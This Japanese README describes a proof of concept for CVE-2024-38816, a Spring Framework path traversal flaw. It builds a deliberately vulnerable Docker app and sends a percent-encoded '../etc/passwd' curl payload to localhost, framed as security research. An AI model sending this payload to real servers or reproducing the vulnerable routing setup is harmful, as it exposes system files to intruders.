
CVE-2024-38816 の概念実証
これは CVE-2024-38816 脆弱性の概念実証であり、パストラバーサルエクスプロイトを実演します。
Docker イメージをビルドします: (Spring Boot 3.0.13、Spring Framework 6.0.3 ベース)
docker build -t cve-2024-38816-poc .
コンテナを実行し、ポート 8080 をホストマシンに公開します:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
次のコマンドを実行して PoC を実行し、脆弱性を確認します:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
/etc/passwd ファイルの内容が表示された場合、脆弱性が確認されます。
この PoC は、リリースノートとコミットログの分析に基づいて作成されました。実際の脆弱性の動作は異なる場合があるため、正確性は保証されません。自己責任で使用してください。
この脆弱性は Spring Framework 6.1.13 で修正されており、リリースノート で確認できます。
リリースノートと関連するコミットログを確認したところ、次の 2 つの issue がこの脆弱性に関連している可能性があると判断しました:
セキュリティアドバイザリ によると、攻撃を成功させるには次の条件が満たされている必要がある可能性が高いです:
RouterFunctions が使用されているFileSystemResource が使用されている脆弱性を再現するために Docker 環境を使用します。
RouterFunction と FileSystemResource を使用して静的ファイルルーティングを設定するため、次のコードを含む PathTraversalDemoApplication.java を作成します:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
シンボリックリンクを作成するために、次のコマンドを Dockerfile に追加します:
RUN ln -s /static /app/static/link
シンボリックリンクを介してディレクトリを横断するために、パーセントエンコーディングを利用したペイロードを作成します。
/static/link/%2e%2e/etc/passwd次の curl コマンドを使用して PoC を実行し、攻撃が成功するか確認します:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
攻撃が成功した場合、/etc/passwd ファイルの内容が表示されます。
この PoC は教育およびセキュリティ研究の目的で提供されています。実際のシステムで使用する前に、脆弱性が修正され、適切な許可が得られていることを確認してください。作者は本コードの誤用について一切の責任を負いません。